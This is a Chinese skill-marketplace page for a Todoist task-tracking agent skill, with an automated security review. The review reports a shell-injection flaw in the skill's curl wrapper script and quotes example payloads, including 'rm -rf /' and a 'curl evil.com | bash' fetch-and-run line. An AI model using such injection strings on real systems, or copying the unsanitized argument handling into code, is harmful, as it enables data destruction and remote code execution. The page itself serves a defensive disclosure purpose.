← 返回 Skills 市场
near2sea

Todoist 任务可见性管理

作者 near2sea · GitHub ↗ · v1.0.0
cross-platform ⚠ suspicious
1062
总下载
0
收藏
0
当前安装
1
版本数
在 OpenClaw 中安装
/install todoist-visibility
功能描述
基于 Todoist 的任务可见性管理。用于创建、更新和追踪任务状态(进行中🟡、等待中🟠、已完成🟢),并记录进度评论。当用户提到 Todoist 任务管理、任务状态追踪、或需要使用 Todoist API 时触发。
安全使用建议
要点与建议: - 不一致性:注册元数据未声明任何必需的环境变量或二进制依赖,但 SKILL.md 和脚本都需要 TODOIST_TOKEN、项目和 section ID 及命令行工具(curl,文档中也提到 jq)。在安装/启用前要求发布者更新技能元数据或在本地明确提供这些值。 - 权限与秘密管理:TODOIST_TOKEN 是敏感凭证(可访问你的 Todoist 数据)。仅在信任此技能来源时提供,并尽可能使用有限权限或专用账号/令牌,避免把长期全局 token 暴露给未知第三方。将 token 存放在安全位置(例如受限环境变量或秘密管理器),不要在共享日志或公共仓库中泄露。 - API 版本差异:脚本中 API_BASE 在不同脚本里使用了不同的路径(scripts/add_comment.sh 使用 https://api.todoist.com/rest/v2,而其他脚本使用 https://api.todoist.com/api/v1)。这可能导致兼容性或行为差异(例如 comments 接口在不同版本下的参数或路径不同)。建议在部署前测试每个脚本并让作者统一 API 版本或在文档中解释差异。 - 运行环境:脚本在本地执行(无远程安装),依赖 curl 和 (文档)jq。建议在隔离环境(非生产、或容器/VM)中先运行并观察网络请求/日志,确认行为符合预期。 - 需要发布者澄清的项:更新 registry 元数据以列出 TODOIST_TOKEN、TODOIST_PROJECT_ID、SECTION_* 为必需项并将 TODOIST_TOKEN 标示为 primary credential;明确是否需要 jq;解释为什么使用不同的 API 端点(v1 vs rest/v2)。 总体建议:脚本看起来并非恶意,但有元数据与实现的不一致和工程细节需先澄清并在安全环境中测试,确认后再在生产环境中长期使用。
功能分析
Type: OpenClaw Skill Name: todoist-visibility Version: 1.0.0 The skill bundle is classified as suspicious due to critical shell injection vulnerabilities found in `scripts/todoist_api.sh`. The script directly uses user-supplied arguments `$METHOD` and `$ENDPOINT` in `curl` commands without proper sanitization or validation, allowing an attacker to inject arbitrary shell commands (e.g., `GET; rm -rf /` or `tasks; curl evil.com | bash`) for remote code execution. While there is no explicit malicious payload or exfiltration code within the provided files, this vulnerability allows for such actions to be performed by an attacker.
能力评估
Purpose & Capability
技能名与描述表明这是一个基于 Todoist 的任务可见性管理工具;包含的脚本(创建/更新任务、添加评论、通用 API 封装)与该目的直接对应,功能与声明一致。
Instruction Scope
SKILL.md 和脚本仅对 Todoist API 发起请求并在本地构建 JSON,没有读取系统中其他敏感路径或发送数据到第三方域名外的地点。需注意 SKILL.md 要求持久化环境变量并建议使用 curl 和 jq,这授予脚本访问保存在环境中的 API token 的能力(合理但需显式声明)。
Install Mechanism
没有远程下载或安装步骤(instruction-only + 本地脚本),没有从不受信任的 URL 拉取代码;这降低了安装期风险。脚本会被写入磁盘(随技能包),但没有可疑安装流程。
Credentials
注册元数据声称“无需环境变量/凭证/二进制”,但 SKILL.md 与脚本实际上需要 TODOIST_TOKEN、TODOIST_PROJECT_ID、SECTION_IN_PROGRESS/WAITING/DONE,以及运行时依赖 curl 和(在文档中)jq。TODOIST_TOKEN 应被列为 primary credential。未声明的敏感环境变量与依赖是不一致且有风险的配置错误。
Persistence & Privilege
技能没有设置 always:true,也不修改其他技能或系统范围配置;默认的自主调用权限保持不变,权限等级符合常见技能。
如何使用
  1. 确保已安装 OpenClaw(本地或 Docker 部署)
  2. 在对话框中输入安装命令:/install todoist-visibility
  3. 安装完成后,直接呼叫该 Skill 的名称或使用 /todoist-visibility 触发
  4. 根据 Skill 的参数说明提供必要输入,即可获得结构化输出
版本历史
v1.0.0
初始版本:基于 Todoist API 的任务可见性管理 skill,支持任务状态追踪(进行中、等待中、已完成)和进度评论
元数据
Slug todoist-visibility
版本 1.0.0
许可证
累计安装 0
当前安装数 0
历史版本数 1
常见问题

Todoist 任务可见性管理 是什么?

基于 Todoist 的任务可见性管理。用于创建、更新和追踪任务状态(进行中🟡、等待中🟠、已完成🟢),并记录进度评论。当用户提到 Todoist 任务管理、任务状态追踪、或需要使用 Todoist API 时触发。 它是一个面向 Claude Code / OpenClaw 的 AI Agent Skill 插件,目前累计下载 1062 次。

如何安装 Todoist 任务可见性管理?

在 OpenClaw 或 Claude Code 对话框中运行命令「/install todoist-visibility」即可一键安装,无需额外配置。

Todoist 任务可见性管理 是免费的吗?

是的,Todoist 任务可见性管理 完全免费(开源免费),可自由下载、安装和使用。

Todoist 任务可见性管理 支持哪些平台?

Todoist 任务可见性管理 跨平台运行,可在任意部署了 OpenClaw / Claude Code 的环境中使用(cross-platform)。

谁开发了 Todoist 任务可见性管理?

由 near2sea(@near2sea)开发并维护,当前版本 v1.0.0。

💬 留言讨论